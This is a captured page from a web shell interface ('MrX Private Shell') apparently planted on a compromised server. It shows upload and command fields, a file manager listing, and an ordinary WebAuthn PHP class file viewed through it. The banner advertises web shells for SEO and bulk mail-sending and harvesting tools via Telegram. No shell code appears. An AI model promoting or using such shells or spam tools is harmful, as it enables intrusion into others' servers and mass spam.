__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace Webauthn\MetadataService\Statement;

use function array_key_exists;
use JsonSerializable;
use ParagonIE\ConstantTime\Base64UrlSafe;
use Webauthn\MetadataService\Exception\MetadataStatementLoadingException;
use Webauthn\MetadataService\Utils;

/**
 * @deprecated since 4.2.0 and will be removed in 5.0.0. The ECDAA Trust Anchor does no longer exist in Webauthn specification.
 * @final
 */
class EcdaaTrustAnchor implements JsonSerializable
{
    public function __construct(
        private readonly string $X,
        private readonly string $Y,
        private readonly string $c,
        private readonly string $sx,
        private readonly string $sy,
        private readonly string $G1Curve
    ) {
    }

    public function getX(): string
    {
        return $this->X;
    }

    public function getY(): string
    {
        return $this->Y;
    }

    public function getC(): string
    {
        return $this->c;
    }

    public function getSx(): string
    {
        return $this->sx;
    }

    public function getSy(): string
    {
        return $this->sy;
    }

    public function getG1Curve(): string
    {
        return $this->G1Curve;
    }

    /**
     * @param array<string, mixed> $data
     */
    public static function createFromArray(array $data): self
    {
        $data = Utils::filterNullValues($data);
        foreach (['X', 'Y', 'c', 'sx', 'sy', 'G1Curve'] as $key) {
            array_key_exists($key, $data) || throw MetadataStatementLoadingException::create(sprintf(
                'Invalid data. The key "%s" is missing',
                $key
            ));
        }

        return new self(
            Base64UrlSafe::decode($data['X']),
            Base64UrlSafe::decode($data['Y']),
            Base64UrlSafe::decode($data['c']),
            Base64UrlSafe::decode($data['sx']),
            Base64UrlSafe::decode($data['sy']),
            $data['G1Curve']
        );
    }

    /**
     * @return array<string, string>
     */
    public function jsonSerialize(): array
    {
        $data = [
            'X' => Base64UrlSafe::encodeUnpadded($this->X),
            'Y' => Base64UrlSafe::encodeUnpadded($this->Y),
            'c' => Base64UrlSafe::encodeUnpadded($this->c),
            'sx' => Base64UrlSafe::encodeUnpadded($this->sx),
            'sy' => Base64UrlSafe::encodeUnpadded($this->sy),
            'G1Curve' => $this->G1Curve,
        ];

        return Utils::filterNullValues($data);
    }
}

Filemanager

Name Type Size Permission Actions
AbstractDescriptor.php File 1.02 KB 0664
AlternativeDescriptions.php File 997 B 0664
AuthenticatorGetInfo.php File 773 B 0664
AuthenticatorStatus.php File 2.05 KB 0664
BiometricAccuracyDescriptor.php File 1.63 KB 0664
BiometricStatusReport.php File 2.59 KB 0664
CodeAccuracyDescriptor.php File 2.05 KB 0664
DisplayPNGCharacteristicsDescriptor.php File 4.57 KB 0664
EcdaaTrustAnchor.php File 2.44 KB 0664
ExtensionDescriptor.php File 2.03 KB 0664
MetadataStatement.php File 17.56 KB 0664
PatternAccuracyDescriptor.php File 1.97 KB 0664
RgbPaletteEntry.php File 1.83 KB 0664
RogueListEntry.php File 1.42 KB 0664
StatusReport.php File 4.2 KB 0664
VerificationMethodANDCombinations.php File 1.47 KB 0664
VerificationMethodDescriptor.php File 5.67 KB 0664
Version.php File 1.82 KB 0664
Filemanager